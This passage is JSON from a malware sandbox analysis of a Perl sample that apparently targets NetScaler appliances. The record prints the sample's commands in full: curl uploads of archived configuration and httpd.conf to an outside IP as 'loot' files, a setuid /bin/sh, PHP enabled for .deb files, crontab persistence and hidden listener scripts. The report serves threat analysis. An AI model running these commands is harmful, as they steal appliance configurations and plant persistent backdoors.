string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-5002","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"PUTs data to a web server (HTTPS)","description":"PUT /t/ae7427/loot_nsconfig.tgz HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 2941\n\n PUT /t/ae7427/loot_nshist.tgz HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 45\n\n PUT /t/ae7427/loot_httpd.conf HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 416\n\n PUT /t/ae7427/loot_diag.txt HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 800\n","origin":"Network Traffic","mitre_attack_id":"T1020","relevance":3,"id":"network-73","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Queries socket options","description":"/usr/bin/curl uses: getsockopt","origin":"API Call","mitre_attack_id":"T1049","id":"api-1007","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://213.209.159.55:443\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Retrieves the configured DNS server","description":"/usr/bin/python3.12 reads file /etc/resolv.conf","origin":"API Call","mitre_attack_id":"T1016","relevance":7,"id":"api-1199","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS PUT request to https://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz\n Found HTTPS PUT request to https://213.209.159.55:443/t/ae7427/loot_nshist.tgz\n Found HTTPS PUT request to https://213.209.159.55:443/t/ae7427/loot_httpd.conf\n Found HTTPS PUT request to https://213.209.159.55:443/t/ae7427/loot_diag.txt","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"213.209.159.55\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls a system call typically used to get directory entries","description":"/usr/bin/ps executed: getdents64\n /usr/bin/pgrep executed: getdents64\n /usr/bin/python3.12 executed: getdents64","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-1153","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls a system call typically used to retrieve information about a mounted filesystem","description":"/usr/bin/mkdir executed: statfs\n /usr/bin/cp executed: statfs","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-1151","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and file system information","description":"file/memory contains long string with (Indicator: \"stat\"; File: \"be559fb34104b8ce_slapshot.py\")\n Found string \"stat -> \"stat sessions=\"\" (Indicator: \"stat\"; File: \"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":3,"id":"string-5033","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"3/26 Antivirus vendors marked sample as malicious (11% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"General","name":"Changes file or directory permissions (command)","description":"/usr/bin/chmod executed: chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl\n /usr/bin/chmod executed: chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver\n /usr/bin/chmod executed: chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb\n /usr/bin/chmod executed: chmod 6555 /bin/sh\n /usr/bin/chmod executed: chmod 700 /nsconfig/.slap/boot.sh","origin":"API Call","mitre_attack_id":"T1222.002","relevance":7,"id":"api-1067","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"General","name":"Executes a shell command","description":"/usr/bin/bash executed: bash /home/ubuntu/b9b0a4380db4.pl\n /usr/bin/dash executed: sh -c gzip","origin":"API Call","mitre_attack_id":"T1059.004","relevance":10,"id":"api-1059","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops ELF executable files","description":"\"urlref_http213.209.159.55443tae7427\" has type \"Perl script text executable\"- [targetUID: N/A]\n \"be559fb34104b8ce_slapshot.py\" has type \"Python script Unicode text UTF-8 text executable\"- [targetUID: N/A]\n \"dc07e82e31f874c3_whipd.py\" has type \"Python script Unicode text UTF-8 text executable\"- [targetUID: N/A]\n \"94c5ccd3a35357b2_agent.pl\" has type \"Perl script text executable\"- [targetUID: N/A]\n \"cd6b7acea0bdbcf8_boot.sh\" has type \"POSIX shell script ASCII text executable\"- [targetUID: N/A]\n \"f09c1bf2c6148e9e_bridge.pl\" has type \"Perl script text executable\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-45","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops Python script files","description":"\"be559fb34104b8ce_slapshot.py\" has type \"Python script Unicode text UTF-8 text executable\"- [targetUID: N/A]\n \"dc07e82e31f874c3_whipd.py\" has type \"Python script Unicode text UTF-8 text executable\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-44","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Network Related","name":"Reads hosts file (syscall)","description":"python3.12 read: /etc/host.conf\n python3.12 read: /etc/hosts","origin":"API Call","mitre_attack_id":"T1018","relevance":10,"id":"api-1028","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 213.209.159.55 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Network Related","name":"Uses cURL to download a file/payload","description":"/usr/bin/curl executed: curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/ae7427/loot_nsconfig.tgz\n /usr/bin/curl executed: curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/ae7427/loot_nshist.tgz\n /usr/bin/curl executed: curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/ae7427/loot_httpd.conf\n /usr/bin/curl executed: curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/ae7427/loot_diag.txt","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-1060","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Pattern Matching","name":"Searches for file content","description":"/usr/bin/grep executed: grep -q Alias /logon/LogonPoint/custom/receiver.v2.min.css /etc/httpd.conf\n /usr/bin/grep executed: grep -q AddType application/x-httpd-php .deb /etc/httpd.conf\n /usr/bin/grep executed: grep -q [.]slap/agent.pl\n /usr/bin/grep executed: grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler\n /usr/bin/grep executed: grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler\n /usr/bin/grep executed: grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron\n /usr/bin/grep executed: grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron\n /usr/bin/grep executed: grep -in php /etc/httpd.conf","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-1086","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Reads users database (/etc/passwd file) (syscall)","description":"crontab reads: /etc/passwd\n id reads: /etc/passwd\n ls reads: /etc/passwd\n tar reads: /etc/passwd\n curl reads: /etc/passwd","origin":"API Call","mitre_attack_id":"T1003.008","relevance":10,"id":"api-1009","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Creates or extracts an archive","description":"/usr/bin/tar executed: tar czf /var/tmp/.s2loot/nsconfig.tgz .\n /usr/bin/gzip executed: gzip\n /usr/bin/tar executed: tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak","origin":"API Call","mitre_attack_id":"T1560","relevance":10,"id":"api-1134","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Executes a Perl command or a script","description":"/usr/bin/perl executed: perl -ni -e print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver} /etc/httpd.conf\n /usr/bin/perl executed: perl -pi -e s/php_flag engine off/php_flag engine on/ /etc/httpd.conf\n /usr/bin/perl executed: perl /nsconfig/.slap/agent.pl","origin":"API Call","mitre_attack_id":"T1059.004","relevance":10,"id":"api-1104","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Executes a Python command or a script","description":"/usr/bin/python3.12 executed: python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid\n /usr/bin/python3.12 executed: python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid","origin":"API Call","mitre_attack_id":"T1059.006","relevance":10,"id":"api-1103","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Discards output of command(s)","description":"/usr/bin/perl opened: /dev/null\n /usr/bin/python3.12 opened: /dev/null","origin":"API Call","mitre_attack_id":"T1070.003","relevance":10,"id":"api-1048","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Cryptographic Related","name":"Reads OpenSSL configuration","description":"python3.12 read: /usr/lib/ssl/openssl.cnf\n curl read: /usr/lib/ssl/openssl.cnf","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-1025","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Environment Awareness","name":"Able to detect sandbox based on system information","description":"The sample is possibly detecting sandbox based on system information","origin":"Indicator Combinations","mitre_attack_id":"T1497.003","relevance":7,"id":"summary-40","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Environment Awareness","name":"Lists running processes","description":"/usr/bin/ps executed: ps -axww","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-1064","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Installation/Persistence","name":"Creates a new crontab entry","description":"/usr/bin/crontab created a new crontab entry to: /var/spool/cron/crontabs/tmp.iRam2t","origin":"API Call","mitre_attack_id":"T1053.003","relevance":10,"id":"api-1142","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes to a crontab entry","description":"/usr/bin/crontab wrote to crontab entry: /var/spool/cron/crontabs/tmp.iRam2t\n /usr/bin/crontab wrote to crontab entry: /var/spool/cron/crontabs/root","origin":"API Call","mitre_attack_id":"T1053.003","relevance":10,"id":"api-1013","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"Network Related","name":"Looks up network configuration","description":"python3.12 read: /etc/resolv.conf","origin":"API Call","mitre_attack_id":"T1016","relevance":3,"id":"api-1018","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"level":"malicious","category":"System Destruction","name":"Kills process(es) (command)","description":"/usr/bin/pgrep executed: pkill -f /var/tmp/.ux/slapshot.py\n /usr/bin/pgrep executed: pkill -f /var/tmp/.ux/whipd.py","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1066","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"incidents":[{"name":"Persistence","details_count":3,"details":[{"detail":"Writes to a crontab entry"},{"detail":"Reads or modifies crontab"},{"detail":"Creates a new crontab entry"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries system uptime (syscall)"},{"detail":"Queries system general information (command)"}],"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"intel_graph":{"map":{"File:013b311b499549311ff9a250409af07c2c7994567d06d2143eddaf6a0fe7cbd3":{"type":"File","value":"013b311b499549311ff9a250409af07c2c7994567d06d2143eddaf6a0fe7cbd3"},"File:02df972f3bd6b16bc5229d517f4231e3a1799f117ed4a0d65fedac25d68c2394":{"type":"File","value":"02df972f3bd6b16bc5229d517f4231e3a1799f117ed4a0d65fedac25d68c2394"},"File:0d8e0c1a30053c63318e0f6b6b36321ff0ea6a94684a06cb1656a0029e5de9ae":{"type":"File","value":"0d8e0c1a30053c63318e0f6b6b36321ff0ea6a94684a06cb1656a0029e5de9ae"},"File:43cdd2cffdba72d7f2d1455162bd6bce70e8037de0f0c1d75a7fc809b8933696":{"type":"File","value":"43cdd2cffdba72d7f2d1455162bd6bce70e8037de0f0c1d75a7fc809b8933696"},"File:4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2":{"type":"File","value":"4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2"},"File:5e23145ad105f9f1f0e74c91c86dee03af08ff218ae4c69da00d53bcf81231ce":{"type":"File","value":"5e23145ad105f9f1f0e74c91c86dee03af08ff218ae4c69da00d53bcf81231ce"},"File:76459c69ae42b460b458ae5c87f62a541f4a928ef1340ae3ebf9f8d75d7c8875":{"type":"File","value":"76459c69ae42b460b458ae5c87f62a541f4a928ef1340ae3ebf9f8d75d7c8875"},"File:85cea451eec057fa7e734548ca3ba6d779ed5836a3f9de14b8394575ef0d7d8e":{"type":"File","value":"85cea451eec057fa7e734548ca3ba6d779ed5836a3f9de14b8394575ef0d7d8e"},"File:899b16c1b02f95f2790be257b1231a75bd2636840122e7eb61d2a32b0b694310":{"type":"File","value":"899b16c1b02f95f2790be257b1231a75bd2636840122e7eb61d2a32b0b694310"},"File:94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761":{"type":"File","value":"94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761"},"File:9bff764208314b8f205de064861448f2f1c2c4592e0e7bc286816b46cc7ef31e":{"type":"File","value":"9bff764208314b8f205de064861448f2f1c2c4592e0e7bc286816b46cc7ef31e"},"File:9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7":{"type":"File","value":"9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7"},"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63":{"type":"File","value":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63"},"File:be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447":{"type":"File","value":"be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447"},"File:c15dd5cef61b01d8685e03449b66b6bb4f647c1c1e77b2eaf59d0286aaed39ca":{"type":"File","value":"c15dd5cef61b01d8685e03449b66b6bb4f647c1c1e77b2eaf59d0286aaed39ca"},"File:cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd":{"type":"File","value":"cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd"},"File:d6a0d9271a9dae14de262454be3f66ac8f5e4570ccc9cd0083330ce3baa37c73":{"type":"File","value":"d6a0d9271a9dae14de262454be3f66ac8f5e4570ccc9cd0083330ce3baa37c73"},"File:d7c4b95bf8eaed28af8c0381a5863886d2af4ebf6fdcf416f956beae12804112":{"type":"File","value":"d7c4b95bf8eaed28af8c0381a5863886d2af4ebf6fdcf416f956beae12804112"},"File:dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e":{"type":"File","value":"dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e"},"File:e573c9b5545420c3fef29f2ddd6adcad17552c66eb15d7f568bb170f6bcf0fc0":{"type":"File","value":"e573c9b5545420c3fef29f2ddd6adcad17552c66eb15d7f568bb170f6bcf0fc0"},"File:f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad":{"type":"File","value":"f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad"},"Ip:213.209.159.55":{"type":"Ip","value":"213.209.159.55"},"Url:/t/ae7427/loot_diag.txt":{"type":"Url","value":"/t/ae7427/loot_diag.txt"},"Url:/t/ae7427/loot_httpd.conf":{"type":"Url","value":"/t/ae7427/loot_httpd.conf"},"Url:/t/ae7427/loot_nsconfig.tgz":{"type":"Url","value":"/t/ae7427/loot_nsconfig.tgz"},"Url:/t/ae7427/loot_nshist.tgz":{"type":"Url","value":"/t/ae7427/loot_nshist.tgz"}},"chains":[{"id":"sandbox_network","root":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","edges":[{"edge_kind":"contacted_ip","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"Ip:213.209.159.55"},{"edge_kind":"contacted_url","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"Url:/t/ae7427/loot_nsconfig.tgz"},{"edge_kind":"contacted_url","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"Url:/t/ae7427/loot_nshist.tgz"},{"edge_kind":"contacted_url","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"Url:/t/ae7427/loot_httpd.conf"},{"edge_kind":"contacted_url","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"Url:/t/ae7427/loot_diag.txt"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","edges":[{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:0d8e0c1a30053c63318e0f6b6b36321ff0ea6a94684a06cb1656a0029e5de9ae"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:02df972f3bd6b16bc5229d517f4231e3a1799f117ed4a0d65fedac25d68c2394"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:013b311b499549311ff9a250409af07c2c7994567d06d2143eddaf6a0fe7cbd3"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:76459c69ae42b460b458ae5c87f62a541f4a928ef1340ae3ebf9f8d75d7c8875"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:899b16c1b02f95f2790be257b1231a75bd2636840122e7eb61d2a32b0b694310"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:9bff764208314b8f205de064861448f2f1c2c4592e0e7bc286816b46cc7ef31e"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:d7c4b95bf8eaed28af8c0381a5863886d2af4ebf6fdcf416f956beae12804112"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:c15dd5cef61b01d8685e03449b66b6bb4f647c1c1e77b2eaf59d0286aaed39ca"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:d6a0d9271a9dae14de262454be3f66ac8f5e4570ccc9cd0083330ce3baa37c73"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:43cdd2cffdba72d7f2d1455162bd6bce70e8037de0f0c1d75a7fc809b8933696"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:85cea451eec057fa7e734548ca3ba6d779ed5836a3f9de14b8394575ef0d7d8e"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:e573c9b5545420c3fef29f2ddd6adcad17552c66eb15d7f568bb170f6bcf0fc0"},{"edge_kind":"extracted","from_key":"File:b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63","to_key":"File:5e23145ad105f9f1f0e74c91c86dee03af08ff218ae4c69da00d53bcf81231ce"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":63,"spawned_processes_count":63,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":0,"dropped_files_count":0,"extracted_files_count":20,"files_written_count":39,"files_deleted_count":3,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":0,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6ac284e2f46a4f9e090362cd","environment_id":330,"environment_description":"Linux (Ubuntu 24.04, 64 bit)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","contacted_countries":["DEU"],"submit_name":"b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63.pl","analysis_start_time":"2026-10-04T16:57:29+00:00","indicators_count":{"informative":34,"suspicious":28,"malicious":15},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"213.209.159.55","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}],"dns_resolutions":null,"http_requests":[{"host":"213.209.159.55:443","host_ip":"213.209.159.55:443","url":"/t/ae7427/loot_nsconfig.tgz","method":"PUT","response_code":"200","response_phrase":"OK","header":"PUT /t/ae7427/loot_nsconfig.tgz HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 2941","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"host":"213.209.159.55:443","host_ip":"213.209.159.55:443","url":"/t/ae7427/loot_nshist.tgz","method":"PUT","response_code":"200","response_phrase":"OK","header":"PUT /t/ae7427/loot_nshist.tgz HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 45","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"host":"213.209.159.55:443","host_ip":"213.209.159.55:443","url":"/t/ae7427/loot_httpd.conf","method":"PUT","response_code":"200","response_phrase":"OK","header":"PUT /t/ae7427/loot_httpd.conf HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 416","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]},{"host":"213.209.159.55:443","host_ip":"213.209.159.55:443","url":"/t/ae7427/loot_diag.txt","method":"PUT","response_code":"200","response_phrase":"OK","header":"PUT /t/ae7427/loot_diag.txt HTTP/1.1\nHost: 213.209.159.55:443\nUser-Agent: curl/8.5.0\nAccept: */*\nContent-Length: 800","sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6ac284e2f46a4f9e090362cd"}],"processes":[{"pid":1640,"ppid":0,"name":"bash","command_line":"bash /home/ubuntu/b9b0a4380db4.pl","sha256":"bc5945feb8bd26203ebfafea5ce1878bb2e32cb8fb50ab7ae395cfb1e1aaaef1","normalized_path":"/usr/bin/bash","uid":"438675681-1640"},{"pid":1641,"ppid":1640,"name":"mkdir","command_line":"mkdir -p /nsconfig/.slap 